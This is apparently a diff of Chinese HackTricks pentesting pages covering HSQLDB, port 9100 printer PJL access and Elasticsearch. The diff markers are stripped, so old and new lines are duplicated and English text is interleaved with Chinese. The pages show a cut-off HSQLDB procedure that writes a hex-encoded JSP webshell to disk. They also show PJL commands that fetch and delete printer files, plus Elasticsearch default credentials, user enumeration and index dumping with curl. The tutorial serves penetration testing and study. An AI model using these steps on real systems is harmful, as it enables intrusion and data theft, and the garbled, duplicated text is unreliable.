- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)上**关注**我。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
# 基本信息
HSQLDB[HyperSQL DataBase](http://hsqldb.org/))是一种用Java编写的领先SQL关系数据库系统。它提供了一个小型、快速的多线程和事务性数据库引擎,支持内存和基于磁盘的表,并支持嵌入式和服务器模式。
HSQLDB[HyperSQL DataBase](http://hsqldb.org/)是用Java编写的领先SQL关系数据库系统。它提供了一个小型、快速的多线程和事务型数据库引擎,具有内存和基于磁盘的表,并支持嵌入式和服务器模式。
**默认端口:** 9001
```text
@ -27,21 +25,21 @@ HSQLDB[HyperSQL DataBase](http://hsqldb.org/)是一种用Java编写的领
### 默认设置
请注意,默认情况下,此服务可能在内存中运行或绑定到本地主机。如果您找到了它,那么您可能已经利用了另一个服务,并且正在寻找提升权限的方法
请注意,默认情况下,此服务可能在内存中运行或绑定到localhost。如果你找到了它你可能已经利用了另一个服务并且正在寻求提升权限
默认凭据通常为`sa`,密码为空
默认凭据通常是用户名`sa`和空白密码
如果已经利用了另一个服务,请搜索可能的凭据使用
如果已经利用了另一个服务,请搜索可能的凭据使用
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
请仔细注意数据库名称 - 您需要它来进行连接。
注意数据库名称 - 您需要它来连接。
# 信息
# 信息
通过[下载 HSQLDB](https://sourceforge.net/projects/hsqldb/files/)并提取 `hsqldb/lib/hsqldb.jar` 来连接到数据库实例。使用 `java -jar hsqldb.jar` 运行 GUI 应用程序(呃呃呃),并使用发现的/弱密码连接到实例。
通过[下载 HSQLDB](https://sourceforge.net/projects/hsqldb/files/)并解压 `hsqldb/lib/hsqldb.jar` 来连接 DB 实例。使用 `java -jar hsqldb.jar` 运行 GUI 应用程序eww并使用发现的/弱凭证连接到实例。
注意,对于远程系统,连接 URL 将类似于 `jdbc:hsqldb:hsql://ip/DBNAME`
注意,对于远程系统,连接 URL 将类似于`jdbc:hsqldb:hsql://ip/DBNAME`
# 技巧
@ -49,9 +47,9 @@ grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
我们可以使用 Java 语言例程从 HSQLDB 调用 Java 类的静态方法。请注意,被调用的类需要在应用程序的类路径中。
JRTs 可以是 `函数``过程`。如果 Java 方法返回一个或多个与 SQL 兼容的原始变量,可以通过 SQL 语句调用函数。它们使用 `VALUES` 语句调用。
JRT 可以是 `functions``procedures`。如果 Java 方法返回一个或多个与 SQL 兼容的原始变量,可以通过 SQL 语句调用函数。它们使用 `VALUES` 语句调用
如果我们要调用的 Java 方法返回 void则需要使用使用 `CALL` 语句调用的过程。
如果我们想要调用的 Java 方法返回 void我们需要使用通过 `CALL` 语句调用的过程。
## 读取 Java 系统属性
@ -65,11 +63,11 @@ EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```text
VALUES(getsystemproperty('user.name'))
```
您可以在[此处找到系统属性列表](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)。
你可以在[这里找到系统属性的列表](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)。
## 将内容写入文件
## 写入内容到文件
可以使用位于JDK中自动加载到应用程序的类路径中的`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java小工具通过自定义过程将十六进制编码的项目写入磁盘。**请注意最大大小为1024字节**。
可以使用位于JDK中自动加载到应用程序的类路径中的`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java小工具通过自定义过程将十六进制编码的项目写入磁盘。**注意最大尺寸为1024字节**。
创建过程:
```text
@ -83,16 +81,14 @@ call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,23 +1,6 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details>
# 基本信息
原始打印是我们定义的一种连接到网络打印机的9100/tcp端口的过程。它是CUPS和Windows打印架构用于与网络打印机通信的默认方法,因为它被认为是“最简单、最快、通常也是最可靠的用于打印机的网络协议”。原始端口9100打印也称为JetDirect、AppSocket或PDL数据流实际上**不是一个独立的打印协议**。相反,**所有发送的数据都直接由打印设备处理**就像通过TCP的并行连接一样。与LPD、IPP和SMB不同这可以向客户端发送直接反馈包括状态和错误消息。这样的**双向通道**使我们可以直接**访问**PJL、PostScript或PCL命令的**结果**。因此几乎任何网络打印机都支持的原始端口9100打印被用作使用PRET和PFT进行安全分析的通道。来自[这里](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing)
我们将原始打印定义为与网络打印机的9100/tcp端口建立连接的过程。它是CUPS和Windows打印架构用来与网络打印机通信的默认方法因为它被认为是“_最简单、最快速、通常也是最可靠的用于打印机的网络协议_”。原始端口9100打印也被称为JetDirect、AppSocket或PDL-datastream实际上**本身并不是一种打印协议**。相反,**所有发送的数据都会被打印设备直接处理**就像通过TCP的并行连接一样。与LPD、IPP和SMB不同它可以向客户端发送直接反馈包括状态和错误信息。这样的**双向通道**使我们能够直接**访问** **PJL**、**PostScript**或**PCL**命令的**结果**。因此几乎所有网络打印机都支持的原始端口9100打印 被用作使用PRET和PFT进行安全分析的通道。来源[这里](http://hacking-printers.net/wiki/index.php/Port\_9100\_printing)
如果你想了解更多关于[**黑客攻击打印机的信息,请阅读此页面**](pentesting-printers/)。
@ -27,51 +10,7 @@
```
# 枚举
## 手动枚举
### PJL (Printer Job Language)
PJL打印机作业语言是一种用于控制打印机行为的命令语言。通过发送PJL命令我们可以获取有关打印机的信息如打印机型号、配置和状态。
PJL命令通常通过网络端口9100发送。我们可以使用telnet或nc命令连接到该端口并发送PJL命令以获取打印机信息。
以下是一些常用的PJL命令
- `@PJL INFO ID`:获取打印机的标识信息。
- `@PJL INFO CONFIG`:获取打印机的配置信息。
- `@PJL INFO STATUS`:获取打印机的状态信息。
我们可以使用以下命令通过telnet连接到9100端口并发送PJL命令
```bash
telnet <target_ip> 9100
```
然后我们可以发送PJL命令并查看打印机的响应。
### PJL命令示例
以下是一些常用的PJL命令示例
- 获取打印机标识信息:
```bash
@PJL INFO ID
```
- 获取打印机配置信息:
```bash
@PJL INFO CONFIG
```
- 获取打印机状态信息:
```bash
@PJL INFO STATUS
```
我们可以通过发送这些命令来枚举打印机的信息,并了解其配置和状态。
## 手动
```bash
nc -vn <IP> 9100
@PJL INFO STATUS #CODE=40000 DISPLAY="Sleep" ONLINE=TRUE
@ -88,23 +27,7 @@ nc -vn <IP> 9100
@PJL FSDOWNLOAD #Useful to download a file
@PJL FSDELETE #Useful to delete a file
```
## 自动化
In some cases, it is possible to automate the exploitation of the PJL vulnerability using tools like Metasploit or custom scripts. These tools can send the necessary PJL commands to the printer and exploit the vulnerability without manual intervention.
在某些情况下可以使用诸如Metasploit或自定义脚本之类的工具自动化利用PJL漏洞。这些工具可以向打印机发送必要的PJL命令并在无需手动干预的情况下利用漏洞。
For example, using Metasploit, you can use the `exploit/windows/printer/pjl_bounce` module to exploit the PJL vulnerability. This module allows you to specify the target printer's IP address, the PJL command to execute, and the payload to deliver.
例如使用Metasploit您可以使用`exploit/windows/printer/pjl_bounce`模块来利用PJL漏洞。该模块允许您指定目标打印机的IP地址、要执行的PJL命令和要传递的有效载荷。
Another option is to create a custom script using a programming language like Python. This script can send the necessary PJL commands to the printer and exploit the vulnerability. By automating the exploitation process, you can save time and effort during a penetration test.
另一种选择是使用Python等编程语言创建自定义脚本。该脚本可以向打印机发送必要的PJL命令并利用漏洞。通过自动化利用过程您可以在渗透测试期间节省时间和精力。
However, it is important to note that automated exploitation should only be performed on systems that you have proper authorization to test. Unauthorized exploitation of PJL vulnerabilities can lead to legal consequences.
然而重要的是要注意只有在您获得适当授权的系统上才能进行自动化利用。对PJL漏洞的未经授权利用可能会导致法律后果。
## 自动
```bash
nmap -sV --script pjl-ready-message -p <PORT> <IP>
```
@ -121,11 +44,11 @@ msf> use auxiliary/scanner/printer/printer_delete_file
```
## 打印机黑客工具
这是你想要使用的滥用打印机的工具:
这是你想要用来滥用打印机的工具:
{% embed url="https://github.com/RUB-NDS/PRET" %}
## 黑客打印机最佳参考
## 黑客打印机最佳参考
{% embed url="https://hacking-printers.net/wiki/index.php/File_system_access" %}
@ -136,16 +59,14 @@ msf> use auxiliary/scanner/printer/printer_delete_file
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
其他支持HackTricks的方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果你想在**HackTricks中看到你的公司广告**或者**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
</details>

View file

@ -2,105 +2,63 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零到英雄学习AWS黑客攻击</strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
## 基本信息
从[主页](https://www.elastic.co/what-is/elasticsearch)上可以找到一些有用的描述:
从[主页](https://www.elastic.co/what-is/elasticsearch)上,您可以找到一些有用的描述:
> Elasticsearch是一个分布式的、开源的搜索和分析引擎,适用于各种类型的数据包括文本、数字、地理空间、结构化和非结构化数据。Elasticsearch基于Apache Lucene构建于2010年首次由Elasticsearch N.V.现在称为Elastic发布。Elasticsearch以其简单的REST API、分布式性、速度和可扩展性而闻名是Elastic Stack的核心组件Elastic Stack是一套用于数据摄取、丰富、存储、分析和可视化的开源工具集。通常被称为ELK Stack自Elasticsearch、Logstash和KibanaElastic Stack现在包括一系列轻量级数据传输代理称为Beats用于将数据发送到Elasticsearch。
> Elasticsearch是一个分布式的开源搜索和分析引擎,适用于所有类型的数据包括文本、数字、地理空间、结构化和非结构化数据。Elasticsearch基于Apache Lucene构建由Elasticsearch N.V.现在称为Elastic于2010年首次发布。以其简单的REST API、分布式性、速度和可扩展性而闻名,Elasticsearch是Elastic Stack的核心组件Elastic Stack是一套开源工具,用于数据摄取、丰富、存储、分析和可视化。通常被称为ELK Stack自Elasticsearch、Logstash和KibanaElastic Stack现在包括一系列称为Beats的轻量级数据传输代理用于将数据发送到Elasticsearch。
### 什么是Elasticsearch索引
Elasticsearch的一个_索引_**是一组相关的文档**。Elasticsearch将数据存储为JSON文档。每个文档将一组_键_字段或属性的名称与其对应的值字符串、数字、布尔值、日期、值数组、地理位置或其他类型的数据)相关联。
Elasticsearch _索引_ **是一组相关文档的集合**。Elasticsearch将数据存储为JSON文档。每个文档将一组_keys_字段或属性的名称与其对应的_values_字符串、数字、布尔值、日期、_values_数组、地理位置或其他类型的数据)相关联。
Elasticsearch使用一种称为_倒排索引_的数据结构旨在实现非常快速的全文搜索。倒排索引列出了出现在任何文档中的每个唯一单词,并标识每个单词出现在的所有文档中
Elasticsearch使用一种称为_倒排索引_的数据结构该结构旨在允许非常快速的全文搜索。倒排索引列出了在任何文档中出现的每个独特单词,并标识了每个单词出现的所有文档
在索引过程中Elasticsearch存储文档并构建倒排索引使文档数据可以近实时地进行搜索。索引是通过索引API发起的通过该API可以在特定索引中添加或更新JSON文档。
在索引过程中Elasticsearch存储文档并构建倒排索引便在近乎实时的情况下使文档数据可搜索。索引是通过索引API启动的通过该API可以在特定索引中添加或更新JSON文档。
**默认端口**9200/tcp
## 手动枚举
### Banner
### 横幅
访问Elasticsearch的协议是**HTTP**。当你通过HTTP访问它时会发现一些有趣的信息:`http://10.10.10.115:9200/`
用于访问Elasticsearch的协议是**HTTP**。当您通过HTTP访问它时会发现一些有趣的信息:`http://10.10.10.115:9200/`
![](<../.gitbook/assets/image (264).png>)
如果你在访问`/`时没有看到这个响应,请参考下一节
如果您在访问`/`时没有看到该响应,请参阅以下部分
### 认证
**默认情况下Elasticsearch没有启用认证**因此默认情况下,你可以在不使用任何凭据的情况下访问数据库中的所有内容。
**默认情况下Elasticsearch没有启用认证**所以默认情况下,您可以在不使用任何凭据的情况下访问数据库内的所有内容。
你可以通过向以下请求验证认证是否已禁用:
您可以通过以下请求来验证认证是否被禁用:
```bash
curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
{"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500}
```
**然而**,如果您发送一个请求到`/`并收到以下类似的响应:
**然而**,如果你向 `/` 发送请求并收到如下响应:
```bash
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
```
这意味着身份验证已配置,**您需要有效的凭据**才能从Elasticsearch获取任何信息。然后可以[**尝试暴力破解**](../generic-methodologies-and-resources/brute-force.md#elasticsearch)它使用HTTP基本身份验证因此可以使用任何支持BF HTTP基本身份验证的工具)。\
这里有一个**默认用户名列表**_**elastic**超级用户remote\_monitoring\_userbeats\_systemlogstash\_systemkibanakibana\_systemapm\_system_ \_anonymous\_.\_旧版本的Elasticsearch的默认密码为**changeme**。
这意味着配置了认证,**你需要有效的凭据**才能从elasticsearch获取任何信息。然后可以[**尝试暴力破解**](../generic-methodologies-and-resources/brute-force.md#elasticsearch)它使用HTTP基本认证所以任何可以暴力破解HTTP基本认证的工具都可以使用)。\
这里有一个**默认用户名列表**_**elastic**超级用户remote\_monitoring\_user, beats\_system, logstash\_system, kibana, kibana\_system, apm\_system,_ \_anonymous\_。\_旧版本的Elasticsearch默认密码为**changeme**。
```
curl -X GET http://user:password@IP:9200/
```
### 基本用户枚举
Elasticsearch提供了一些方法来枚举系统中的用户。以下是一些常用的方法
#### 1. 使用API枚举用户
通过发送GET请求到`/_cat/indices`或`/_cat/aliases`端点,可以获取有关索引和别名的信息。这些信息可能包含有关用户的线索。
```plaintext
GET /_cat/indices
GET /_cat/aliases
```
#### 2. 使用插件枚举用户
Elasticsearch有一些插件可以用于枚举用户。例如`kopf`插件提供了一个Web界面可以显示有关集群和索引的信息包括用户信息。
#### 3. 使用搜索查询枚举用户
通过发送搜索查询,可以尝试枚举用户。以下是一个示例查询,用于查找具有`admin`角色的用户:
```plaintext
GET /_search
{
"query": {
"match": {
"roles": "admin"
}
}
}
```
#### 4. 使用Kibana枚举用户
如果目标系统上安装了Kibana可以使用其界面来枚举用户。登录到Kibana后导航到"Management"选项卡,然后选择"Security"。在"Users"部分,可以查看已注册的用户。
#### 5. 使用其他工具枚举用户
还有一些第三方工具可以用于枚举Elasticsearch用户。例如`Elasticsearch User Enum`是一个Python脚本可以通过发送请求来枚举用户。
以上是一些基本的用户枚举方法,但请注意,这些方法可能会泄露敏感信息,因此在进行渗透测试时要小心使用。
```bash
#List all roles on the system:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role"
@ -111,9 +69,9 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user"
#Get more information about the rights of an user:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
```
### Elastic 信息
### Elastic信息
以下是一些可以通过 GET 访问以获取有关 Elasticsearch 的一些信息的端点
以下是一些端点,您可以通过**GET访问**以获取有关elasticsearch的一些**信息**
| \_cat | /\_cluster | /\_security |
| ------------------------------- | ----------------------------- | ------------------------- |
@ -142,56 +100,56 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
| /\_cat/nodeattrs | | |
| /\_cat/nodes | | |
这些端点是从[**文档中获取的**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html),您可以在其中找到更多信息。\
此外,如果访问 `/_cat`,响应将包含实例支持的 `/_cat/*` 端点。
这些端点是从[**文档中获取的**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html),您可以在那里**找到更多信息**。\
此外,如果访问`/_cat`,响应将包含实例支持的`/_cat/*`端点。
`/_security/user`(如果启用了身份验证),您可以看到具有 `superuser` 角色的用户
`/_security/user`中如果启用了auth您可以看到哪个用户具有`superuser`角色
### 索引
您可以通过访问 `http://10.10.10.115:9200/_cat/indices?v`**收集所有索引**。
您可以通过访问`http://10.10.10.115:9200/_cat/indices?v`**收集所有索引**。
```
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
```
要获取有关索引中保存的数据类型的信息,您可以访问:`http://host:9200/<index>`,例如在这种情况下`http://10.10.10.115:9200/bank`
要获取**有关索引内保存了哪种数据的信息**,您可以访问:`http://host:9200/<index>`,例如在这个案例中`http://10.10.10.115:9200/bank`
![](<../.gitbook/assets/image (265).png>)
### 转储索引
如果您想**转储索引的所有内容**,可以访问:`http://host:9200/<index>/_search?pretty=true``http://10.10.10.115:9200/bank/_search?pretty=true`
如果您想**转储索引的所有内容**可以访问:`http://host:9200/<index>/_search?pretty=true`,如 `http://10.10.10.115:9200/bank/_search?pretty=true`
![](<../.gitbook/assets/image (266).png>)
_请花点时间比较银行索引中每个文档(条目)的内容和我们在前一节中看到的该索引的字段。_
_花点时间比较一下银行索引内每个文档(条目)的内容以及我们在上一节中看到的这个索引的字段。_
因此,此时您可能会注意到**在“hits”内部有一个名为“total”的字段**,它指示在此索引中找到了**1000个文档**,但只检索到了10个。这是因为**默认情况下有一个10个文档的限制**。\
但是,现在您知道**索引包含1000个文档**,您可以通过在**`size`**参数中指定要转储的条目数来**转储所有这些文档**`http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
_注意如果您指定更大的数字所有条目都将被转储,例如您可以指定`size=9999`,如果有更多条目,这将很奇怪(但您应该检查一下)。_
此时,您可能会注意到**在 "hits" 中有一个名为 "total" 的字段**,它表明在此索引内**发现了1000个文档**,但只检索了10个。这是因为**默认情况下有一个10个文档的限制**。\
但是,现在您知道**这个索引包含1000个文档**,您可以通过在**`size`** 参数中指定您想要转储的条目数来**转储所有这些文档**`http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
_注意如果您指定更大的数字所有条目都会被转储,例如,您可以指定 `size=9999`,如果有更多条目(但您应该检查),这将是奇怪的。_
### 转储全部
为了转储全部内容,您只需转到**与之前相同的路径,但不指定任何索引**`http://host:9200/_search?pretty=true``http://10.10.10.115:9200/_search?pretty=true`\
请记住,在这种情况下,将应用**默认的10个结果限制**。您可以使用`size`参数来转储**更多的结果**。有关更多信息,请阅读前一节
为了转储全部,您可以直接访问**与之前相同的路径,但不指定任何索引**`http://host:9200/_search?pretty=true`,如 `http://10.10.10.115:9200/_search?pretty=true`\
请记住,在这种情况下,将应用**默认的10个结果限制**。您可以使用 `size` 参数来转储**更多的结果**。阅读上一节以获取更多信息
### 搜索
如果您正在寻找某些信息,可以在所有索引上进行**原始搜索**,转到 `http://host:9200/_search?pretty=true&q=<search_term>``http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
如果您正在寻找一些信息,您可以对所有索引进行**原始搜索**,访问 `http://host:9200/_search?pretty=true&q=<search_term>`,如 `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
![](<../.gitbook/assets/image (267).png>)
如果您只想在**一个索引上进行搜索**,只需在**路径**上**指定**它:`http://host:9200/<index>/_search?pretty=true&q=<search_term>`
如果您只想在一个索引上**搜索**,您可以在**路径**上**指定**它:`http://host:9200/<index>/_search?pretty=true&q=<search_term>`
_请注意用于搜索内容的q参数**支持正则表达式**_
_请注意用于搜索内容的 q 参数**支持正则表达式**_
还可以使用类似于[https://github.com/misalabs/horuz](https://github.com/misalabs/horuz)的工具来模糊搜索elasticsearch服务
也可以使用类似 [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) 的工具来对elasticsearch服务进行模糊测试
### 写入权限
您可以通过运行类似以下内容来检查您的写入权限,尝试在新索引中创建新文档
